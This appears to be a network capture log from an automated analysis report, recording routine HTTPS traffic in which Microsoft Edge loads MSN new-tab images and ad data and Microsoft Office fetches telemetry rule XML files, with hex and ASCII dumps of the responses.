49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49834	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=382509 Expires: Sat, 16 Nov 2024 13:31:40 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49835	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=407627 Expires: Sat, 16 Nov 2024 20:30:18 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49833	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=165108 Expires: Thu, 14 Nov 2024 01:08:19 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49830	23.47.50.115	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:15 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: f7ec68f9-61c4-4117-9b16-c229b5f431dd Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=312379 Expires: Fri, 15 Nov 2024 18:02:50 GMT Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-12 03:16:31 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49829	20.1.248.118	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	1009	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0286CA52A44560A23542DF67A512618F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=c6f380221fc044eda76b4549b55eb323 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1
2024-11-12 03:16:31 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2656 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132830-T700343875-C128000000002116649+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116649+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 12 Nov 2024 03:16:31 GMT Connection: close
2024-11-12 03:16:31 UTC	2656	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 56 65 72 6e 6f 6e 2c 20 43 6f 6e 6e 65 63 74 69 63 75 74 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 66 69 64 64 6c 65 68 65 61 64 2b Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Vernon, Connecticut\",\"cta\":\"https:\/\/www.bing.com\/search?q=fiddlehead+

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031631Z-16547b76f7f76p6chC1DFWctqw0000000f4000000000f9t1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031631Z-16547b76f7f775p5hC1DFWzdvn0000000ez000000000m33s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031631Z-16547b76f7fj5p7mhC1DFWf8w40000000f1000000000spkz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031631Z-16547b76f7f9rdn9hC1DFWfk7s0000000f30000000005v55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49841	13.107.246.57	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:31 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 03:16:31 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:31 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 464222a3-301e-0020-41b1-3404cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T031631Z-17df447cdb59mt7dhC1DFWqpg40000000b9g00000000qvyq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
